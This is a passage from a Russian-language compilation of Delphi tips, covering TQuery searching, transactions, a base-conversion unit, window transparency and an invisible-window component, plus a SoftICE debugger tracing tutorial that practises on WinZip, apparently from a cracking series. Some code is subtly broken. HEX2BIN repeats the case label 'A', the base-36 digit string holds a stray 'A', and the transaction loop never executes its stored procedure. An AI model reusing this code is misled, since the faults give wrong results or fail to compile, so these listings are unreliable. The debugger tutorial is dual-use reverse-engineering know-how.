   Screen.Cursor := crHourGlass;
   with Form1 do
   begin
     CurrentPos := Query1.GetBookmark;
     Query1.DisableControls;
     found := false;
     if searchtype <> 'prev' then { первый или следующий }
     begin
       if searchtype = 'first' then
         Query1.First
       else if not Query1.EOF then
         Query1.Next;
       while (not Query1.EOF) and (not found) do
       begin
         if LookForString(StringToFind, MemberName) <> 0 then
           found := true;
         if not found then
           Query1.Next;
       end;
     end
     else
     begin { prev }
       if not Query1.BOF then
         Query1.Prior;
       while (not Query1.BOF) and (not found) do
       begin
         if LookForString(StringToFind, MemberName) <> 0 then
           found := true;
         if not found then
           Query1.Prior;
       end;
     end;
     Screen.Cursor := OldCursor;
     if found then
     begin
       FindSearch := false;
       ChangeFindCaption;
       UpdateStatusLabel;
     end
     else
     begin
       MessageDlg('Больше ничего не найдено.', mtInformation,
         [mbOK], 0);
       Query1.GotoBookmark(CurrentPos);
     end;
     Query1.EnableControls;
     Query1.FreeBookmark(CurrentPos);
   end; { конец работы с Form1 }
 end;
 
 procedure TForm1.FindButtonClick(Sender: TObject);
 begin
   if FindSearch then
     SearchName('first', Page0Edit.Text)
   else
     SearchName('next', Page0Edit.Text);
 end;
 




Поиск записи с помощью TQuery 2

Компонент TQuery не предусматривает основанный на индексе поиск, подобный реализованному в компоненте TTable (FindKey, GotoKey и GotoNearest). Поэтому возникает следующий вопрос: как в данных, возвращаемых запросом TQuery, найти определенную запись?

Один из путей поиска в результатах запроса является последовательный поиск. Данный тип поиска стартует в первой строке набора данных и, с помощью цикла, последовательно сравнивает значения полей с искомой величиной. Возможно достижение одного из двух результатов: величина будет найдена (успех) или будет достигнут конец набора данных (неудача). Самый большой недостаток этого способа поиска заключается в том, что он самый медленный, поскольку искомая величина может оказаться в одной их последних записей, а для этого придется перебрать весь набор данных. При неудаче он должен перебрать весь набор данных. При интенсивном поиске данный метод займет большую часть времени вычислений.

Вот функция, выполняющая последовательный поиск в результатах запроса TQuery:


 var
   pb: TProgressBar;
 begin
 ...
 
 function SeqSearch(AQuery: TQuery; AField, AValue: String): Boolean;
 begin
   with AQuery do
   begin
     First;
     while (not Eof) and (not (FieldByName(AField).AsString = AValue)) do
       Next;
     SeqSearch := not Eof;
   end;
 end;
 

Данная функция требует три параметра:

  1. AQuery: тип TQuery; компонент TQuery, в котором необходимо выполнить поиск.
  2. AField: тип String; имя поля, с величиной которого проиходит сравнение значение поиска.
  3. AValue: тип String; искомая величина. Если поля имеет тип отличный от типа String, искомая величина должна быть преобразована к типу данных.
Возвращаемая логическая величина указывает на успешность выполнения функции (True) или отсутствие результата поиска (False).

Альтернативой служит использование метода заключения в скобки. На концептуальном уровне данный метод действует отчасти подобно индексу bb-дерева. Он основывается на методе сравнения значения текущей строки набора данных и искомой величины с последующей проверкой на выполнение одного из трех возможных условий:

  1. Величина поля будет больше чем значение поиска, или...
  2. Величина поля будет меньше чем значение поиска, или...
  3. Величина поля равняется значению поиска.
Данный метод сужает область данных, отбрасывая при каждой итерации записи, не удовлетворяющие приведенным выше условиям до тех пор, пока первые два условия выполняться не будут. Полученные данные сравнивается с искомой величиной и, если они совпадают, считается что функция выполнена успешно (success), или окончилась неудачей (failure, если искомая величина ни разу не встретилась, т.е. результат поиска не содержит ни одной строки).

Функционально данный процесс находит поля, удовлетворяющие условиям поиска, за количество итераций меньшее или равное числу записей. При этом возможно только два результата сравнения текущего поля и искомой величины: меньше чем/равняется/больше чем. Первоначально устанавливается диапазон чисел. Меньшая граница диапазона задается целым числом, начало процесса поиска устанавливается на 0 или величину меньшую, чем значение первой строки набора данных. Верхняя граница диапазона является также целым числом, содержащим значение свойства RecordCount экземпляра TQuery. Текущий указатель строки перемещается в в точку, лежащую посередине между нижней и верхней границей диапазона. Значение записи в этой точке сравнивается с искомой величиной. Если значение поля меньше или равно искомой величине, значит искомая величина находится в нижней части набора данных, поэтому верхняя граница диапазона перемещается к позиции текущей строки. Если значение поля больше величины поиска, то искомая величина находится в верхней части набора данных, поэтому к текущему указателю перемещается нижняя граница диапазона. Повторяя этот процесс, количество удовлетворяющих условиям поиска записей при каждой итерации уменьшается в два раза. В конечном счете должна остаться только одна строка.

Код модульной, транспортабельной функции должно выглядеть примерно так:


 function Locate(AQuery: TQuery; AField, AValue: string): Boolean;
 var
   Hi, Lo: Integer;
 begin
   with AQuery do
   begin
     First;
     {Устанавливаем верхнюю границу диапазона строк}
     Hi := RecordCount;
     {Устанавливаем нижнюю границу диапазона строк}
     Lo := 0;
     {Текущий указатель перемещаем в в точку, лежащую посередине
     между нижней и верхней границей диапазона}
     MoveBy(RecordCount div 2);
     while (Hi - Lo) > 1 do
     begin
       {Значение поля больше искомой величины, величина в первой половине}
       if (FieldByName(AField).AsString > AValue) then
       begin
         {Вычисляем нижнюю границу верхнего поддиапазона общего диапазона}
         Hi := Hi - ((Hi - Lo) div 2);
         MoveBy(((Hi - Lo) div 2) * -1);
       end
         {Найденное поле меньше искомой величины, нужно искать в верхней половине}
       else
       begin
         {Перемещаем вверх нижнюю границу общего диапазона}
         Lo := Lo + ((Hi - Lo) div 2);
         MoveBy((Hi - Lo) div 2);
       end;
     end;
     {Обрабатываем нечетную нумерацию строк}
     if (FieldByName(AField).AsString > AValue) then
       Prior;
     Locate := (FieldByName(AField).AsString = AValue)
   end;
 end;
 

Последние строчки были добавлены для обработки ситуации, когда верхняя и нижняя границы диапазона различаются по четности строк.

Данная функция также требует три параметра, как и функция SeqSearch, описанная выше.

Величина, возвращаемая функцией, имеет тип Boolean и указывает на ее удачное или, наоборот, неудачное завершение. Так как процесс поиска перемещает указатель строки, то вызывающее приложение должно принимать во внимание эффект от такого перемещения и при неудачном поиске он должен быть возвращен на место. Например, указатель TBookmark может использоваться для того, чтобы возвращать указатель строки на то место, где он был до неудачного завершения функции.

Чем этот метод лучше последовательного поиска? Во-первых, данный метод не производит сравнение всех строк, как это делает метод последовательного поиска, а опрашивает часть записей. Если искомая величина не располагается в числе первых 1,000 строк, то этот метод окажется быстрее чем метод последовательного поиска. Поскольку этот процесс всегда использует одинаковое количество записей, то время поиска будет одинаковым и когда искомая величина находится в записи с номером 1,000, и когда она находится в записи с номером 90,000. Это в корне отличается от последовательного поиска, когда время поиска напрямую зависит от местонахождения искомой величины.

Эти методы могут использоваться в любых результатах запроса TQuery? Нет. Все дело в технологии: описанные методы пользуются такими понятиями, как направление поиска, нижняя и верхняя границы диапазона. Это означает, что набор данных должен быть последователен и непрерывен, т.е. для получения результатов TQuery должен использовать SQL-запросы, содержащие ключевую фразу ORDER BY. Размер полученного набора данных также является показателем для выбора метода. Метод заключения в скобки выгоднее использовать при большом наборе данных. В случае, когда число записей невелико (1,000 и менее строк), метод последовательного поиска все же будет быстрее.




Введение в режимы трассировки SoftICE

Автор: Fox Mulder

Из открытий компьютерной вирусологии:
Oказывается, первый троян был конь!

Сегодня продолжаем учиться использовать SoftICE. Каждый исследователь программ должен уметь трассировать программы.

Трассировкой мы будем называть процесс пошагового выполнения программы. Под шагом программы обычно понимается выполнение одной команды, но здесь есть некоторые тонкости, которые как раз связаны с режимами трассировки.

В SoftICE существует два режима трассировки: внутренний и внешний.

  • внутренний - такой режим, когда по шагам выполняются все команды этой функции
  • внешний - когда все команды функции выполняются за один шаг.

Давайте рассмотрим оба этих режима на примерах. В качестве исследуемой программы будем использовать уже знакомый нам WinZip 7.0. Но перед тем, как начать хотел бы обратить Ваше внимание вот на какую деталь: многие из Вас при работе с SoftICE используют Symbol Loader для загрузки программ. Так вот, делать этого не нужно - Symbol Loader предназначен для использования программистами, которые отлаживают свои программы. Для нас с Вами она практически бесполезна. Тогда у Вас может возникнуть вопрос: а как же загружать программу? Просто запускайте ее как обычно из меню Пуск и дальше работайте. Дело в том, что SoftICE запускается еще до загрузки Windows и Вы в любой момент можете его активизировать нажатием Ctrl+D, вне зависимости от того, загружали ли Вы программу через Symbol Loader или нет.

Запускаем WinZip, выбираем в меню Help пункт About WinZip... Появляется окно с информацией о WinZip. Далее активизируем SoftICE (Ctrl+D) и устанавливаем точку прерывания на вызов функции EndDialog(). Эта функция вызывается при закрытии диалогового окна (разговор о диалоговых окнах у нас впереди, но чтобы Вы представляли, что это такое, посмотрите на окно About WinZip - это типичный пример диалогового окна). При нажатии на кнопку ОК программа прерывается при вызове функции EndDialog(). Обратите внимание на надпись на самой нижней желтой линии: USER32 - она означает, что мы находимся не в модуле нашей программы (WINZIP32), а в модуле, в который загружена библиотека user32.dll Далее нажимаем F12, чтобы программа прервалась после выполнения команды ret и оказываемся в модуле нашей программы WINZIP32 по адресу 4013A0. Нам надо посмотреть текст программы немного выше этого адреса.

Для скроллирования (прокручивания) текста в окнах SoftICE служат стрелочки, расположенные с правой стороны окна. Существует два вида стрелочек: первые, похожие на треугольники, предназначены для прокрутки текста по одной стоке, другие, выглядящие как нормальные стрелки - для прокрутки текста постранично. Несколько раз нажимаем на верхнюю стрелочку для прокрутки текста построчно, пока не увидим строку 401397. После этого делаем двойной щелчок мышью по этой строке (в любом ее месте). Двойной щелчок по строке эквивалентен установке точки прерывания на выполнение команды по этому адресу. В нашем случае случае устанавливается точка прерывания на выполнение команды по адресу 401397 (эквивалентом двойного щелчка в данном случае будет команда bpx 401397, но работать мышью гораздо удобнее). Строка, на которую установлена точка прерывания выделяется зеленым цветом. Удалить установленную точку прерывания можно сделав на ней двойной щелчок еще раз.

Теперь давайте посмотрим какие точки прерывания у нас установлены. Список установленных точек прерывания выдается по команде bl (breakpoint list). У нас установлены две точки прерывания поэтому список будет иметь следующий вид:


 00) bpx USER32!EndDialog
 01) bpx #0137:00401397
 

Слева выводится номер установленной точки прерывания. 0 - это точка прерывания на выполнение API-функции EndDialog(), 1 - точка прерывания на выполнение команды по адресу 401397. С точками прерывания можно производить следующие действия: отключать установленные, включать выключенные точки прерывания, редактировать и удалять.

Давайте попробуем отключить точку прерывания на вызов функции EndDialog(). Для отключения точки прерывания используется команда bd (breakpoint disable), после которой необходимо указать ее номер (в нашем случае - 0), т.е. вводим команду bd 0. Убедиться в том, что точка прерывания действительно отключена мы можем с помощью команды bl. Вводим bl и получаем следующий список установленных точек прерывания:


 00)*bpx USER32!EndDialog
 01) bpx #0137:00401397
 

Обратите внимание, что в нулевой строке появилась звездочка. Этот символ означает, что точка прерывания отключена.

Для чего используют отключение точек прерывания? Рассмотрим на нашем примере. Сначала нам была нужна точка прерывания на вызов функции EndDialog(), но после того, как мы нашли, в каком месте программы она вызывается такая необходимость пропала. В принципе, можно эту точку прерывания удалить, но если Вы думаете, что она может Вам еще понадобиться через некоторое время, но до этого не должна функционировать, то лучше ее отключить. Это избавит Вас от траты времени на повторную установку этой точки прерывания в будущем.

Для продолжения выполнения программы нажимаем F5. Вновь выбираем в меню Help пункт About WinZip... Нажимаем кнопку ОК - программа прерывается при выполнении команды по адресу 401397 (об этом сообщается в окне команд SoftICE).

Попробуем выполнить внешнюю трассировку участка программы. Для внешней трассировки используется команда p(горячая клавиша F10). После первого нажатия F10 курсор перемещается на следующую строку 401399 - выполнилась команда push 01. При втором нажатии F10 выполняется команда push ebx и курсор устанавливается на строке 40139A. В этой строке выполняется вызов API-функции EndDialog(). После нажатия F10 курсор перемещается на следующую строку 4013A0, т.е. вся функция EndDialog() выполняется как одна команда. Это удобно, когда не важно, что происходит внутри функции, а время трассировки хотелось бы сократить.

Если же Вам необходимо знать, что происходит внутри функции, то тогда Вам необходимо использовать внутреннюю трассировку. Внутренняя трассировка выполняется командой t (горячая клавиша F8).

Для продолжения программы нажимаем F5, далее вновь выбираем questions/About Winzip... Программа прерывается по адресу 401397. Два раза нажимаем F8 (команды push в обоих режимах выполняются совершенно одинаково) и оказываемся вновь в стоке 40139A. После нажатия F8 курсор оказывается не на следующей строке, как в предыдущем режиме, а в начале функции EndDialog() в модуле USER32 (адрес BFF61ABE). При нажатия F8 выполняется команда mov cl, 9Ah и курсор перемещается на следующую строку, т.е. Вы можете выполнять трассировку функции. Если функция достаточно длинная, а Вы уже узнали все, что хотели и не желаете бесцельно трассировать ее до конца, можете воспользоваться командой p ret (горячая клавиша F12) которая прерывает программу после выполнения команды ret (команда возврата из функции). Нажмите F12 и программа прервется по знакомому нам уже адресу 4013A0, сразу после вызова функции EndDialog().

Надеюсь, все что я написал Вам понятно.




Работа с транзакциями

Если пpогpаммист в 09.00 утpа уже на pаботе, значит он ещё на pаботе...


 dbMain.StartTransaction;
 try
   spAddOrder.ParamByName('ORDER_NO').AsInteger := OrderNo;
   spAddOrder.ExecProc;
   for i := 0 to PartList.Count - 1 do
   begin
      spReduceParts.ParamByName('PART_NO').AsInteger := PartRec(PartList.Objects[i]).PartNo;
      spReduceParts.ParamByName('NUM_SOLD').AsInteger := PartRec(PartList.Objects[i]).NumSold;
   end;
   dbMain.Commit;
 except
   dbMain.RollBack;
   raise;
 end;
 




Преобразование координат

Автор: Neil

Поверьте, достаточно просто преобразовать X,Y координаты, передаваемые в параметрах событий OnDragOver и OnDragDrop, в координаты формы.

Работайте со свойствами Left и Top компонента, над которым перемещается курсор. Приведу простой пример. Поместите на форму компонент Memo и присвойте свойству Align значение alTop. Поместите на форму панель, также присвойсте свойству Align значение alTop и задайте небольшое значение свойству Height, скажем 6 или 7 пикселей. Установите DragMode на dmAutomatica и DragCursor на crVSplit. Поместите другой Memo-компонент и установите Align на alClient. Одновременно выберите оба Memo-компонента, панель и создайте общий обработчик события OnDragOver как показано ниже:


 procedure TForm1.Memo1DragOver(Sender, Source: TObject; X, Y: Integer;
   State: TDragState; var Accept: Boolean);
 begin
   if Source = Panel1 then
     with Sender as TControl do
     begin
       Accept := True;
       Memo1.Height := Y + Top;
     end
   else
     Accept := False;
 end;
 

Теперь попробуйте это!




Перевод между системами исчисления

Автор: HЖkon Stordahl
WEB сайт: http://stordahl.home.ml.org

Хоpоший СисОп - пьяный СисОп...


 unit CONVUNIT;
 { CONVUNIT UNIT 1.1                 }
 { Copyright (C) 1997 HЖkon Stordahl }
 
 { E-mail  : stordahl@usa.net             }
 { Homepage: http://stordahl.home.ml.org/ }
 
 interface
 
 function DEC2BIN(DEC: LONGINT): string;
 function BIN2DEC(BIN: string): LONGINT;
 function DEC2HEX(DEC: LONGINT): string;
 function HEX2DEC(HEX: string): LONGINT;
 function DEC2OCT(DEC: LONGINT): string;
 function OCT2DEC(OCT: string): LONGINT;
 function BIN2HEX(BIN: string): string;
 function HEX2BIN(HEX: string): string;
 function DEC2BASEN(BASE: INTEGER; DEC: LONGINT): string;
 { This function converts numbers from decimal (Base 10 notation) to
   different systems of notation. Valid systems are from Base 2 notation
   to Base 36 notation }
 function BASEN2DEC(BASE: INTEGER; NUM: string): LONGINT;
 { This function converts numbers from different systems of notation
   to decimal (Base 10 notation). Valid systems are from Base 2 notation
   to Base 36 notation }
 
 implementation
 
 function DEC2BIN(DEC: LONGINT): string;
 
 var
   BIN: string;
   I, J: LONGINT;
 
 begin
   if DEC = 0 then
     BIN := '0'
   else
   begin
     BIN := '';
     I := 0;
     while (1 shl (I + 1)) < = DEC do
       I := I + 1;
     { (1 SHL (I + 1)) = 2^(I + 1) }
     for J := 0 to I do
     begin
       if (DEC shr (I - J)) = 1 then
         BIN := BIN + '1'
           { (DEC SHR (I - J)) = DEC DIV 2^(I - J) }
       else
         BIN := BIN + '0';
       DEC := DEC and ((1 shl (I - J)) - 1);
       { DEC AND ((1 SHL (I - J)) - 1) = DEC MOD 2^(I - J) }
     end;
   end;
   DEC2BIN := BIN;
 end;
 
 function BIN2DEC(BIN: string): LONGINT;
 
 var
   J: LONGINT;
   Error: BOOLEAN;
   DEC: LONGINT;
 
 begin
   DEC := 0;
   Error := False;
   for J := 1 to Length(BIN) do
   begin
     if (BIN[J] < > '0') and (BIN[J] < > '1') then
       Error := True;
     if BIN[J] = '1' then
       DEC := DEC + (1 shl (Length(BIN) - J));
     { (1 SHL (Length(BIN) - J)) = 2^(Length(BIN)- J) }
   end;
   if Error then
     BIN2DEC := 0
   else
     BIN2DEC := DEC;
 end;
 
 function DEC2HEX(DEC: LONGINT): string;
 
 const
   HEXDigts: string[16] = '0123456789ABCDEF';
 
 var
   HEX: string;
   I, J: LONGINT;
 
 begin
   if DEC = 0 then
     HEX := '0'
   else
   begin
     HEX := '';
     I := 0;
     while (1 shl ((I + 1) * 4)) < = DEC do
       I := I + 1;
     { 16^N = 2^(N * 4) }
     { (1 SHL ((I + 1) * 4)) = 16^(I + 1) }
     for J := 0 to I do
     begin
       HEX := HEX + HEXDigts[(DEC shr ((I - J) * 4)) + 1];
       { (DEC SHR ((I - J) * 4)) = DEC DIV 16^(I - J) }
       DEC := DEC and ((1 shl ((I - J) * 4)) - 1);
       { DEC AND ((1 SHL ((I - J) * 4)) - 1) = DEC MOD 16^(I - J) }
     end;
   end;
   DEC2HEX := HEX;
 end;
 
 function HEX2DEC(HEX: string): LONGINT;
 
   function Digt(Ch: CHAR): BYTE;
 
   const
     HEXDigts: string[16] = '0123456789ABCDEF';
 
   var
     I: BYTE;
     N: BYTE;
 
   begin
     N := 0;
     for I := 1 to Length(HEXDigts) do
       if Ch = HEXDigts[I] then
         N := I - 1;
     Digt := N;
   end;
 
 const
   HEXSet: set of CHAR = ['0'..'9', 'A'..'F'];
 
 var
   J: LONGINT;
   Error: BOOLEAN;
   DEC: LONGINT;
 
 begin
   DEC := 0;
   Error := False;
   for J := 1 to Length(HEX) do
   begin
     if not (UpCase(HEX[J]) in HEXSet) then
       Error := True;
     DEC := DEC + Digt(UpCase(HEX[J])) shl ((Length(HEX) - J) * 4);
     { 16^N = 2^(N * 4) }
     { N SHL ((Length(HEX) - J) * 4) = N * 16^(Length(HEX) - J) }
   end;
   if Error then
     HEX2DEC := 0
   else
     HEX2DEC := DEC;
 end;
 
 function DEC2OCT(DEC: LONGINT): string;
 
 const
   OCTDigts: string[8] = '01234567';
 
 var
   OCT: string;
   I, J: LONGINT;
 
 begin
   if DEC = 0 then
     OCT := '0'
   else
   begin
     OCT := '';
     I := 0;
     while (1 shl ((I + 1) * 3)) < = DEC do
       I := I + 1;
     { 8^N = 2^(N * 3) }
     { (1 SHL (I + 1)) = 8^(I + 1) }
     for J := 0 to I do
     begin
       OCT := OCT + OCTDigts[(DEC shr ((I - J) * 3)) + 1];
       { (DEC SHR ((I - J) * 3)) = DEC DIV 8^(I - J) }
       DEC := DEC and ((1 shl ((I - J) * 3)) - 1);
       { DEC AND ((1 SHL ((I - J) * 3)) - 1) = DEC MOD 8^(I - J) }
     end;
   end;
   DEC2OCT := OCT;
 end;
 
 function OCT2DEC(OCT: string): LONGINT;
 
 const
   OCTSet: set of CHAR = ['0'..'7'];
 
 var
   J: LONGINT;
   Error: BOOLEAN;
   DEC: LONGINT;
 
 begin
   DEC := 0;
   Error := False;
   for J := 1 to Length(OCT) do
   begin
     if not (UpCase(OCT[J]) in OCTSet) then
       Error := True;
     DEC := DEC + (Ord(OCT[J]) - 48) shl ((Length(OCT) - J) * 3);
     { 8^N = 2^(N * 3) }
     { N SHL ((Length(OCT) - J) * 3) = N * 8^(Length(OCT) - J) }
   end;
   if Error then
     OCT2DEC := 0
   else
     OCT2DEC := DEC;
 end;
 
 function BIN2HEX(BIN: string): string;
 
   function SetHex(St: string; var Error: BOOLEAN): CHAR;
 
   var
     Ch: CHAR;
 
   begin
     if St = '0000' then
       Ch := '0'
     else if St = '0001' then
       Ch := '1'
     else if St = '0010' then
       Ch := '2'
     else if St = '0011' then
       Ch := '3'
     else if St = '0100' then
       Ch := '4'
     else if St = '0101' then
       Ch := '5'
     else if St = '0110' then
       Ch := '6'
     else if St = '0111' then
       Ch := '7'
     else if St = '1000' then
       Ch := '8'
     else if St = '1001' then
       Ch := '9'
     else if St = '1010' then
       Ch := 'A'
     else if St = '1011' then
       Ch := 'B'
     else if St = '1100' then
       Ch := 'C'
     else if St = '1101' then
       Ch := 'D'
     else if St = '1110' then
       Ch := 'E'
     else if St = '1111' then
       Ch := 'F'
     else
       Error := True;
     SetHex := Ch;
   end;
 
 var
   HEX: string;
   I: INTEGER;
   Temp: string[4];
   Error: BOOLEAN;
 
 begin
   Error := False;
   if BIN = '0' then
     HEX := '0'
   else
   begin
     Temp := '';
     HEX := '';
     if Length(BIN) mod 4 < > 0 then
       repeat
         BIN := '0' + BIN;
       until Length(BIN) mod 4 = 0;
     for I := 1 to Length(BIN) do
     begin
       Temp := Temp + BIN[I];
       if Length(Temp) = 4 then
       begin
         HEX := HEX + SetHex(Temp, Error);
         Temp := '';
       end;
     end;
   end;
   if Error then
     BIN2HEX := '0'
   else
     BIN2HEX := HEX;
 end;
 
 function HEX2BIN(HEX: string): string;
 
 var
   BIN: string;
   I: INTEGER;
   Error: BOOLEAN;
 
 begin
   Error := False;
   BIN := '';
   for I := 1 to Length(HEX) do
     case UpCase(HEX[I]) of
       '0': BIN := BIN + '0000';
       '1': BIN := BIN + '0001';
       '2': BIN := BIN + '0010';
       '3': BIN := BIN + '0011';
       '4': BIN := BIN + '0100';
       '5': BIN := BIN + '0101';
       '6': BIN := BIN + '0110';
       '7': BIN := BIN + '0111';
       '8': BIN := BIN + '1000';
       '9': BIN := BIN + '1001';
       'A': BIN := BIN + '1010';
       'A': BIN := BIN + '1011';
       'C': BIN := BIN + '1100';
       'D': BIN := BIN + '1101';
       'E': BIN := BIN + '1110';
       'F': BIN := BIN + '1111';
     else
       Error := True;
     end;
   if Error then
     HEX2BIN := '0'
   else
     HEX2BIN := BIN;
 end;
 
 function Potens(X, E: LONGINT): LONGINT;
 
 var
   P, I: LONGINT;
 
 begin
   P := 1;
   if E = 0 then
     P := 1
   else
     for I := 1 to E do
       P := P * X;
   Potens := P;
 end;
 
 function DEC2BASEN(BASE: INTEGER; DEC: LONGINT): string;
 { This function converts numbers from decimal (Base 10 notation) to
   different systems of notation. Valid systems are from Base 2 notation
   to Base 36 notation }
 
 const
   NUMString: string = '0123456789ABCDEFGHAIJKLMNOPQRSTUVWXYZ';
 
 var
   NUM: string;
   I, J: INTEGER;
 
 begin
   if (DEC = 0) or (BASE < 2) or (BASE > 36) then
     NUM := '0'
   else
   begin
     NUM := '';
     I := 0;
     while Potens(BASE, I + 1) < = DEC do
       I := I + 1;
     for J := 0 to I do
     begin
       NUM := NUM + NUMString[(DEC div Potens(BASE, I - J)) + 1];
       DEC := DEC mod Potens(BASE, I - J);
     end;
   end;
   DEC2BASEN := NUM;
 end;
 
 function BASEN2DEC(BASE: INTEGER; NUM: string): LONGINT;
 { This function converts numbers from different systems of notation
   to decimal (Base 10 notation). Valid systems are from Base 2 notation
   to Base 36 notation }
 
   function Digt(Ch: CHAR): BYTE;
 
   const
     NUMString: string = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
 
   var
     I: BYTE;
     N: BYTE;
 
   begin
     N := 0;
     for I := 1 to Length(NUMString) do
       if Ch = NUMString[I] then
         N := I - 1;
     Digt := N;
   end;
 
 const
   NUMSet: set of CHAR = ['0'..'9', 'A'..'Z'];
 
 var
   J: INTEGER;
   Error: BOOLEAN;
   DEC: LONGINT;
 
 begin
   DEC := 0;
   Error := False;
   if (BASE < 2) or (BASE > 36) then
     Error := True;
   for J := 1 to Length(NUM) do
   begin
     if (not (UpCase(NUM[J]) in NUMSet)) or (BASE < Digt(NUM[J]) + 1) then
       Error
         := True;
     DEC := DEC + Digt(UpCase(NUM[J])) * Potens(BASE, Length(NUM) - J);
   end;
   if Error then
     BASEN2DEC := 0
   else
     BASEN2DEC := DEC;
 end;
 
 end.
 




Прозрачность


 interface
 
 uses
   Windows, Messages, Forms;
 
 type
   TForm1 = class(TForm)
     procedure FormCreate(Sender: TObject);
   end;
 
 const
   WS_EX_LAYERED = $80000;
 
 function SetLayeredWindowAttributes(hWindow : HWND; crKey : DWORD; bAlpha : Byte;
 dwFlags : DWORD) : BOOL; stdcall; external user32 name 'SetLayeredWindowAttributes';
 
 var
   Form1: TForm1;
 
 implementation
 {$R *.DFM}
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);
   SetLayeredWindowAttributes(Handle, 0, Byte(196), 2);
 end;
 
 end.
 
 ...
 
 const
   WS_EX_LAYERED = $80000;
 
 type
 TSetLayeredWindowAttributes = function(hWnd : HWND; crKey : DWORD;
 bAlpha : Byte; dwFlags : DWORD) : BOOL; stdcall;
 
 ...
 
 procedure TForm1.FormCreate(Sender: TObject);
 var
   SetLayeredWindowAttributes : TSetLayeredWindowAttributes;
   hUser32 : HINST;
 begin
   SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);
 
   hUser32 := LoadLibrary('user32.dll');
   if hUser32 <> 0 then
   begin
     try
       SetLayeredWindowAttributes := GetProcAddress(hUser32, 'SetLayeredWindowAttributes');
       if Assigned(@SetLayeredWindowAttributes) then
         SetLayeredWindowAttributes(Handle, 0, Byte(196), 2);
     finally
       FreeLibrary(hUser32);
     end;
   end;
 end;
 




Прозрачный Bitmap

Вам необходимо две копии вашего изображения. Маску и само изображение. Маска является ничем иным, как изображением, состоящим из двух цветов. Черного для тех областей, которые вы хотите показать, и белого для прозрачных. Для Windows 3.1 маска изображения может быть черно-белой, и предназначена для определения размеров изображения. В Win95 черно-белая маска ни при каких обстоятельствах не работает, т.к. у нее должна быть та же глубина цветов, что и у самого изображения, которое вы хотите показать.

Изображение, которое вы хотите показать, должно содержать в прозрачных областях значение цвета, равное 0. Метод помещения изображения на экран такой же, как и в DOS. Маска AND экран, изображение OR или XOR с той же областью.

Ниже приведен код Delphi, позволяя сделать вышеописанное с помощью двух TBitmap.


 Canvas.CopyMode := cmSrcAnd;
 Canvas.CopyRect(TitleRect, BMask.Canvas, TitleRect);
 {заполняем "пробелы" изображением}
 Canvas.CopyMode := cmSrcPaint;
 Canvas.CopyRect(TitleRect, BTitle.Canvas, TitleRect);
 




Прозрачный компонент

Автор: Robert Wittig

При выводе прозрачного окна, окна или элементы управления, расположенные под ним, также видны. При перемещении невидимого окна, при условии, что оно не скрывается/выводится вновь, оно сохраняет "снимок" графической области, которая была расположена под ним в момент вывода (а именно: окна или видимые компоненты).

Взгляните на модуль, приведенный ниже, в нем предлагается решение проблемы невидимого окна.


 {  Начните с нового проекта.
 
 Разместите на форме 4 кнопки и 1 компонент CheckBox.
 Создайте обработчик события OnClick как показано ниже
 
 Во время выполнения программы, если вы нажимаете на Button3,
 щелчок по Button1 будет перехватываться InvWin; если вы
 нажимаете на Button4, щелчок по Button2 будет перехватываться
 InvWin. Поскольку "невидимое" окно первоначально представляет
 собой простой дескриптор, элемент управления, расположенный
 под ним, должен быть перерисован. Из-за этого существует
 проблема мерцания, происходящая по сценарию как, будто вы
 щелкнули по Button3 и Button4. При щелчке на CheckBox1,
 InvWin.Invisible устанавливается в True. Это позволяет окну
 не перерисовываться. Поскольку окно у нас теперь истинно
 невидимое, то для устранения мерцания мы целенаправленно
 посылаем необходимым окнам сообщение WM_SETREDRAW. }
 
 unit Invwin1;
 
 interface
 
 uses
   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,
     Dialogs, StdCtrls;
 
 type
   TInvWin = class(TWinControl)
   private
     fOnControl: TControl;
     fInvisible: Boolean;
 
     procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
   protected
     procedure CreateParams(var Params: TCreateParams); override;
     procedure MouseDown(Button: TMouseButton; Shift: TShiftState;
       X, Y: Integer); override;
 
     procedure SetOnControl(Value: TControl); virtual;
   public
     constructor Create(aOwner: TComponent);
 
     property OnControl: TControl read fOnControl write SetOnControl;
     property Invisible: Boolean read fInvisible write fInvisible;
   end;
 
   TForm1 = class(TForm)
     Button1: TButton;
     Button2: TButton;
     Button3: TButton;
     Button4: TButton;
     CheckBox1: TCheckBox;
     procedure FormCreate(Sender: TObject);
     procedure Button3Click(Sender: TObject);
     procedure Button1Click(Sender: TObject);
     procedure Button2Click(Sender: TObject);
     procedure Button4Click(Sender: TObject);
     procedure CheckBox1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
     InvWin: TInvWin;
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 constructor TInvWin.Create(aOwner: TComponent);
 begin
   inherited Create(aOwner);
 
   ControlStyle := ControlStyle + [csOpaque];
 end;
 
 procedure TInvWin.CreateParams(var Params: TCreateParams);
 begin
   inherited CreateParams(Params);
 
   Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT;
 end;
 
 procedure TInvWin.WMPaint(var Message: TWMPaint);
 var
   DC: THandle;
   PS: TPaintStruct;
 begin
   if not Invisible then
   begin
     if Message.DC = 0 then
       DC := BeginPaint(Handle, PS)
     else
       DC := Message.DC;
 
     PatBlt(DC, 0, 0, 5, 5, BLACKNESS);
     PatBlt(DC, Width - 6, 0, 5, 5, BLACKNESS);
     PatBlt(DC, 0, Height - 6, 5, 5, BLACKNESS);
     PatBlt(DC, Width - 6, Height - 6, 5, 5, BLACKNESS);
 
     if Message.DC = 0 then
       EndPaint(Handle, PS);
   end;
 end;
 
 procedure TInvWin.MouseDown(Button: TMouseButton; Shift:
   TShiftState; X, Y
   : Integer);
 begin
   ShowMessage('MouseDown над невидимым окном');
 end;
 
 procedure TInvWin.SetOnControl(Value: TControl);
 var
   Rect: TRect;
 begin
   if Value <> fOnControl then
   begin
     { Используйте только WM_SETREDRAW, если окно полностью невидимо }
     if Invisible and (Parent <> nil) then
       Parent.Perform(WM_SETREDRAW, 0, 0);
 
     if fOnControl <> nil then
       Visible := False;
 
     if Value <> nil then
     begin
       Rect := Value.BoundsRect;
       InflateRect(Rect, 2, 2);
       BoundsRect := Rect;
     end;
